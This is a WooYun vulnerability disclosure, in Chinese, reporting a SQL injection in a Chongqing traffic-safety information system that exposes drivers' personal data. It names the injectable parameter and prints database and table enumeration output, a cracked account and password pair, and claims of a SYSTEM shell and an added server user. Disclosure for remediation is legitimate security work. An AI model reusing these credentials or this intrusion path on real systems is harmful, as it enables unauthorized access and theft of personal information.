当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0148432

漏洞标题：重庆市某交通安全信息系统SQL注入(泄露大量敏感信息+35W驾驶员个人信息、姓名、身份证、电话、住址等敏感信息)

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2015-10-21 18:09

修复时间：2015-12-07 10:50

公开时间：2015-12-07 10:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-21： 细节已通知厂商并且等待厂商处理中
2015-10-23： 厂商已经确认，细节仅向厂商公开
2015-11-02： 细节向核心白帽子及相关领域专家公开
2015-11-12： 细节向普通白帽子公开
2015-11-22： 细节向实习白帽子公开
2015-12-07： 细节向公众公开

简要描述：

.

详细说明：

漏洞地址:http://**.**.**.**:188/default.asp
sql注入地址: http://**.**.**.**:188/too1/getpwd.asp?user=admin

cq4.jpg


数据库信息

available databases [9]:
[*] CarDB
[*] CarTmp
[*] master
[*] model
[*] msdb
[*] NongC
[*] Northwind
[*] pubs
[*] tempdb


数据表 驾驶员信息35W 其他信息 100W 还有其他库...

Database: NongC
+---------------------------------+---------+
| Table                           | Entries |
+---------------------------------+---------+
| dbo.DoLog201505                 | 1405414 |
| dbo.SqlLog                      | 1104451 |
| dbo.DoLog                       | 801800  |
| dbo.View_UserRights             | 412641  |
| dbo.DL_JBTZ_JDCMDB              | 383125  |
| dbo.View_DL_JBTZ_JDCMDB         | 383125  |
| dbo.DL_JBTZ_JDCMDB_ShangB       | 370958  |
| dbo.DL_JBTZ_JDCMDB_ShenH        | 370878  |
| dbo.DL_JBTZ_JSYTJB              | 348828  |
| dbo.View_DL_JBTZ_JSYTJB         | 348828  |
| dbo.DL_JBTZ_JSYTJB_ShangB       | 346314  |
| dbo.DL_JBTZ_JSYTJB_ShenH        | 346291  |
| dbo.KaoH_Result                 | 250230  |
| dbo.ZR_SqlIn                    | 182205  |
| dbo.DL_DTGL_JAB_GZRZ_RenY       | 164440  |
| dbo.DL_Files_New_DTGL           | 162487  |
| dbo.DL_DTGL_JAB_QWAP_RenY       | 145022  |
| dbo.DL_DTGL_JAB_JW              | 136521  |
| dbo.View_DL_DTGL_JAB_JW         | 136521  |
| dbo.DL_DTGL_JAB_JW_ShangB       | 134910  |
| dbo.DL_DTGL_JAB_JW_ShenH        | 134867  |
| dbo.View_KaoH_Result            | 130104  |
| dbo.DL_DTGL_JAB_GZRZ_DaoL       | 96496   |
| dbo.DL_DTGL_JAB_QWAP_DaoL       | 84240   |
| dbo.Log                         | 60317   |
| dbo.YuJ_GaoJ                    | 53087   |
| dbo.View_YuJ_GaoJ               | 52875   |
| dbo.View_DL_DTGL_JAB_GZRZ_All   | 38272   |
| dbo.YuJ_GaoJ2014                | 37389   |
| dbo.DL_DTGL_JAB_GZRZ            | 36189   |
| dbo.View_DL_DTGL_JAB_GZRZ       | 36189   |
| dbo.DL_DTGL_JAB_GZRZ_ShangB     | 35877   |
| dbo.DL_DTGL_JAB_GZRZ_ShenH      | 35851   |
| dbo.View_YuJ_ZhengG             | 32613   |
| dbo.DL_DTGL_JAB_QWAP            | 31561   |
| dbo.View_DL_DTGL_JAB_QWAP       | 31561   |
| dbo.DL_DTGL_JAB_QWAP_ShangB     | 31249   |
| dbo.DL_DTGL_JAB_QWAP_ShenH      | 31229   |
| dbo.DL_DTGL_YHPCZZ_JinD         | 21268   |
| dbo.View_DL_DTGL_YHPCZZ_JinD    | 21268   |
| dbo.DL_DTGL_XZZF_GZRZ_RenY      | 16873   |
| dbo.DL_JBTZ_DLQKTJB             | 16090   |
| dbo.View_DL_JBTZ_DLQKTJB        | 16090   |
| dbo.DL_JBTZ_DLQKTJB_ShangB      | 15479   |
| dbo.DL_JBTZ_DLQKTJB_ShenH       | 15375   |
| dbo.DL_DTGL_XZZF_QWAP_RenY      | 14762   |
| dbo.DL_Files_New_JBTZ           | 14271   |
| dbo.YuJ_GaoJ141011              | 13502   |
| dbo.DL_DTGL_QDZ_GZHZ            | 12746   |
| dbo.View_DL_DTGL_QDZ_GZHZ       | 12746   |
| dbo.DL_DTGL_XCJY_NeiR           | 12545   |
| dbo.DL_DTGL_QDZ_GZHZ_ShenH      | 12500   |
| dbo.DL_DTGL_QDZ_GZHZ_ShangB     | 12495   |
| dbo.DL_DTGL_XZZF_GZRZ_DaoL      | 9669    |
| dbo.YuJ_CanS_TS                 | 9632    |
| dbo.DL_DTGL_XCJY                | 8489    |
| dbo.View_DL_DTGL_XCJY           | 8489    |
| dbo.DL_DTGL_XCJY_ShangB         | 8418    |
| dbo.DL_DTGL_XCJY_ShenH          | 8408    |
| dbo.DL_DTGL_XZZF_QWAP_DaoL      | 8330    |
| dbo.DL_DW                       | 5344    |
| dbo.View_DL_DW_All              | 5344    |
| dbo.View_DL_DW_Tree             | 5344    |
| dbo.DL_Files_New                | 4553    |
| dbo.View_DL_ZhiD_ToDept         | 4436    |
| dbo.DL_DTGL_YHPCZZ              | 4236    |
| dbo.View_DL_DTGL_YHPCZZ         | 4236    |
| dbo.DL_DTGL_YHPCZZ_ShangB       | 4195    |
| dbo.DL_DTGL_YHPCZZ_ShenH        | 4183    |
| dbo.View_DL_DTGL_XZZF_GZRZ_All  | 4130    |
| dbo.DL_ZhiD_DW_ToDept           | 3926    |
| dbo.View_DL_ZhiD_DW_ToDept      | 3868    |
| dbo.DL_DW_RYGL                  | 3777    |
| dbo.View_DL_DW_RYGL             | 3777    |
| dbo.DL_DTGL_XZZF_GZRZ           | 3713    |
| dbo.View_DL_DTGL_XZZF_GZRZ      | 3713    |
| dbo.DL_DTGL_XZZF_GZRZ_ShangB    | 3685    |
| dbo.DL_DW_RYGL_ShenH            | 3681    |
| dbo.DL_DTGL_XZZF_GZRZ_ShenH     | 3679    |
| dbo.DL_DW_RYGL_ShangB           | 3677    |
| dbo.DL_DTGL_AQLH                | 3649    |
| dbo.View_DL_DTGL_AQLH           | 3649    |
| dbo.DL_DTGL_AQLH_ShangB         | 3607    |
| dbo.DL_DTGL_AQLH_ShenH          | 3607    |
| dbo.DL_ZhiD_DW                  | 3517    |
| dbo.View_DL_ZhiD_DW             | 3517    |
| dbo.DL_DTGL_XZZF_JW             | 3192    |
| dbo.View_DL_DTGL_XZZF_JW        | 3192    |
| dbo.DL_DTGL_XZZF_QWAP           | 3186    |
| dbo.View_DL_DTGL_XZZF_QWAP      | 3186    |
| dbo.DL_DTGL_XZZF_QWAP_ShangB    | 3177    |
| dbo.DL_DTGL_XZZF_QWAP_ShenH     | 3163    |
| dbo.DL_DTGL_XZZF_JW_ShangB      | 3099    |
| dbo.DL_DTGL_XZZF_JW_ShenH       | 3099    |
| dbo.View_DL_DTGL_QDZ_GZRZ_All   | 3053    |
| dbo.DL_DTGL_QDZ_QWAP            | 2831    |
| dbo.View_DL_DTGL_QDZ_QWAP       | 2831    |
| dbo.DL_DTGL_QDZ_QWAP_ShangB     | 2816    |
| dbo.DL_DTGL_QDZ_QWAP_ShenH      | 2816    |
| dbo.DL_DTGL_QDZ_GZRZ            | 2634    |
| dbo.View_DL_DTGL_QDZ_GZRZ       | 2634    |
| dbo.DL_DTGL_QDZ_GZRZ_ShangB     | 2633    |
| dbo.DL_DTGL_QDZ_GZRZ_ShenH      | 2631    |
| dbo.KaoH_ResultLast             | 2560    |
| dbo.View_KaoH_ResultLast        | 2556    |
| dbo.YuJ_GaoJ140519_2            | 2290    |
| dbo.DL_JBTZ_JDCMDB_Del          | 2053    |
| dbo.ROLE_Module                 | 2050    |
| dbo.DL_JBTZ_QDZJSB              | 1990    |
| dbo.View_DL_JBTZ_QDZJSB         | 1990    |
| dbo.DL_JBTZ_QDZJSB_ShangB       | 1953    |
| dbo.DL_JBTZ_QDZJSB_ShenH        | 1910    |
| dbo.DL_JBTZ_JSYTJB_Del          | 1815    |
| dbo.APater                      | 1723    |
| dbo.DL_DTGL_LXHY                | 1645    |
| dbo.View_DL_DTGL_LXHY           | 1645    |
| dbo.DL_JBTZ_JDCMDB_WuPZ         | 1628    |
| dbo.View_DL_JBTZ_JDCMDB_WuPZ    | 1628    |
| dbo.DL_JBTZ_JDCMDB_WuPZ_ShangB  | 1618    |
| dbo.DL_JBTZ_JDCMDB_WuPZ_ShenH   | 1618    |
| dbo.DL_DTGL_LXHY_ShangB         | 1612    |
| dbo.DL_DTGL_LXHY_ShenH          | 1604    |
| dbo.Users_Role                  | 1490    |
| dbo.DL_Files_New_YuJ            | 1419    |
| dbo.View_DL_DW_All2             | 1412    |
| dbo.Users                       | 1367    |
| dbo.View_Users                  | 1355    |
| dbo.OutDataList                 | 1221    |
| dbo.Send_SMS                    | 1221    |
| dbo.DL_DTGL_PCS_QWAP_RenY       | 1168    |
| dbo.DL_DTGL_PCS_GZRZ_RenY       | 1127    |
| dbo.sysconstraints              | 1050    |
| dbo.SMS_GuanJZ                  | 1040    |
| dbo.XingZC                      | 1034    |
| dbo.YuJ_GaoJ140519_3            | 1000    |
| dbo.DL_JBTZ_QDZJHB_XZC          | 992     |
| dbo.SMS_Num                     | 973     |
| dbo.View_DL_DW_BuM              | 933     |
| dbo.SYS_Module                  | 855     |
| dbo.view_dl_dw_all1             | 836     |
| dbo.DL_JBTZ_JDCMDB_DL           | 811     |
| dbo.DL_JBTZ_DLQKTJB_Del         | 800     |
| dbo.DL_DTGL_PCS_QWAP_DaoL       | 725     |
| dbo.DL_DTGL_PCS_GZRZ_DaoL       | 720     |
| dbo.DL_ZhiD_DW_FW_ToDept        | 655     |
| dbo.DL_DTGL_JAB_GZRZ_Del        | 595     |
| dbo.DL_DTGL_PCS_JW              | 569     |
| dbo.View_DL_DTGL_PCS_JW         | 569     |
| dbo.View_DL_ZhiD_DW_FW_ToDept   | 568     |
| dbo.DL_DTGL_PCS_JW_ShangB       | 565     |
| dbo.DL_DTGL_PCS_JW_ShenH        | 564     |
| dbo.DL_DW_RYGL_Del              | 523     |
| dbo.DL_DTGL_GXDDD_RenY          | 487     |
| dbo.DL_DTGL_JAB_QWAP_Del        | 447     |
| dbo.View_DL_DW_XiangZ           | 438     |
| dbo.DL_ZhiD_DW_FW               | 417     |
| dbo.View_DL_ZhiD_DW_FW          | 417     |
| dbo.YuJ_GaoJ140519              | 396     |
| dbo.GongGao_TX                  | 365     |
| dbo.DL_Files_New_RYGL           | 345     |
| dbo.XingM                       | 327     |
| dbo.DL_DTGL_PCS_QWAP            | 318     |
| dbo.View_DL_DTGL_PCS_QWAP       | 318     |
| dbo.View_DL_DTGL_PCS_GZRZ_All   | 317     |
| dbo.DL_JBTZ_JDCMDB140819        | 314     |
| dbo.DL_DTGL_PCS_QWAP_ShangB     | 309     |
| dbo.DL_DTGL_PCS_QWAP_ShenH      | 308     |
| dbo.DL_DTGL_PCS_GZRZ            | 306     |
| dbo.View_DL_DTGL_PCS_GZRZ       | 306     |
| dbo.DL_JBTZ_JDCMDB_ShangB140819 | 304     |
| dbo.DL_JBTZ_JDCMDB_ShenH140819  | 304     |
| dbo.DL_DTGL_PCS_GZRZ_ShangB     | 302     |
| dbo.DL_DTGL_PCS_GZRZ_ShenH      | 301     |
| dbo.YuJ_GaoJ140519_4            | 268     |
| dbo.DL_DTGL_JAB_JW_Del          | 260     |
| dbo.DL_JBTZ_QDZJSB_Del          | 233     |
| dbo.Item                        | 226     |
| dbo.DL_JBTZ_QDZJHB              | 225     |
| dbo.View_DL_JBTZ_QDZJHB         | 225     |
| dbo.DL_JBTZ_QDZJHB_ShangB       | 213     |
| dbo.DL_JBTZ_QDZJHB_ShenH        | 206     |
| dbo.DL_DW_RYGL140519            | 169     |
| dbo.SYS_Code                    | 157     |
| dbo.DL_DTGL_GXDDD               | 150     |
| dbo.View_DL_DTGL_GXDDD          | 150     |
| dbo.DL_DTGL_GXDDD_ShangB        | 148     |
| dbo.DL_DTGL_GXDDD_ShenH         | 147     |
| dbo.tmp_qux                     | 146     |
| dbo.DL_ZhiD_MuB                 | 127     |
| dbo.View_DL_ZhiD_MuB            | 127     |
| dbo.DL_Files_New_DJ             | 125     |
| dbo.YuJ_CanS                    | 106     |
| dbo.DL_DJ_BDJ_ShangB            | 105     |
| dbo.DL_DTGL_YHPCZZ_Del          | 94      |
| dbo.DL_DJ_BDJ                   | 92      |
| dbo.View_DL_DJ_BDJ              | 92      |
| dbo.GongGao_REPLY               | 84      |
| dbo.DL_ZhiD_MuB_DWLB            | 83      |
| dbo.Addr                        | 82      |
| dbo.Send_SMS_Err                | 81      |
| dbo.yuj_gaoj140513              | 81      |
| dbo.YuJ_GuiZ                    | 73      |
| dbo.ItemConst                   | 66      |
| dbo.DL_DTGL_XZZF_GZRZ_Del       | 62      |
| dbo.DL_DTGL_QDZ_GZHZ_Del        | 61      |
| dbo.DL_DTGL_BDD                 | 53      |
| dbo.DL_ZhiBS                    | 53      |
| dbo.View_DL_DTGL_BDD            | 53      |
| dbo.DL_DJ_BDJ_ShenH             | 52      |
| dbo.DL_DTGL_BDD_ShangB          | 52      |
| dbo.DL_DTGL_BDD_ShenH           | 49      |
| dbo.DL_DTGL_XCJY_Del            | 43      |
| dbo.DL_DTGL_XZZF_QWAP_Del       | 43      |
| dbo.Question                    | 41      |
| dbo.View_DL_DW_QuX              | 41      |
| dbo.DL_DTGL_LXHY_Del            | 37      |
| dbo.SMS_ZT                      | 30      |
| dbo.TName_NoDel                 | 30      |
| dbo.DL_DTGL_AQLH_Del            | 29      |
| dbo.KaoH_List                   | 28      |
| dbo.DL_JBTZ_QDZJHB_Del          | 27      |
| dbo.YuJ_JiCTZ                   | 27      |
| dbo.DL_DTGL_XZZF_JW_Del         | 26      |
| dbo.YuJ_CanS_Zhou               | 24      |
| dbo.Files                       | 23      |
| dbo.LoginErr                    | 23      |
| dbo.GongGao                     | 22      |
| dbo.DL_DJ                       | 17      |
| dbo.View_DL_DJ                  | 17      |
| dbo.DL_DJ_ShangB                | 16      |
| dbo.DL_DJ_ShenH                 | 16      |
| dbo.DL_DTGL_QDZ_QWAP_Del        | 15      |
| dbo.DL_ZhiB                     | 14      |
| dbo.ROLES                       | 13      |
| dbo.Temp_SMS                    | 10      |
| dbo.DL_DTGL_QDZ_GZRZ_Del        | 5       |
| dbo.Calendar                    | 4       |
| dbo.DL_DJ_BDJ_Del               | 4       |
| dbo.DL_DW_DaQ                   | 4       |
| dbo.DL_JBTZ_JDCMDB_WuPZ_Del     | 4       |
| dbo.LoginIP                     | 4       |
| dbo.DL_DTGL_PCS_QWAP_Del        | 3       |
| dbo.GongGao_FanK_Reply          | 3       |
| dbo.JXT_Phone                   | 3       |
| dbo.syssegments                 | 3       |
| dbo.GG                          | 2       |
| dbo.GG150705                    | 2       |
| dbo.DL_DJ_Del                   | 1       |
| dbo.DL_DTGL_BDD_Del             | 1       |
| dbo.DL_DTGL_GXDDD_Del           | 1       |
| dbo.DL_DTGL_PCS_GZRZ_Del        | 1       |
| dbo.GongGao_FanK                | 1       |
| dbo.Proj                        | 1       |
| dbo.ZR_config                   | 1       |
+---------------------------------+---------+


解出账号密码 ：1021001 --- 72210582

cq5.jpg


成功获取到shell

cq1.jpg


而且是system权限 直接添加用户进服务器 大量的备份文件 和 数据信息泄露

cq3.jpg


数据和备份文件 都是 实时同步的

cq2.jpg

漏洞证明：

cq2.jpg

修复方案：

0.0

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-10-23 10:48

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发对应分中心，由其后续协调网站管理单位处置。

最新状态：

暂无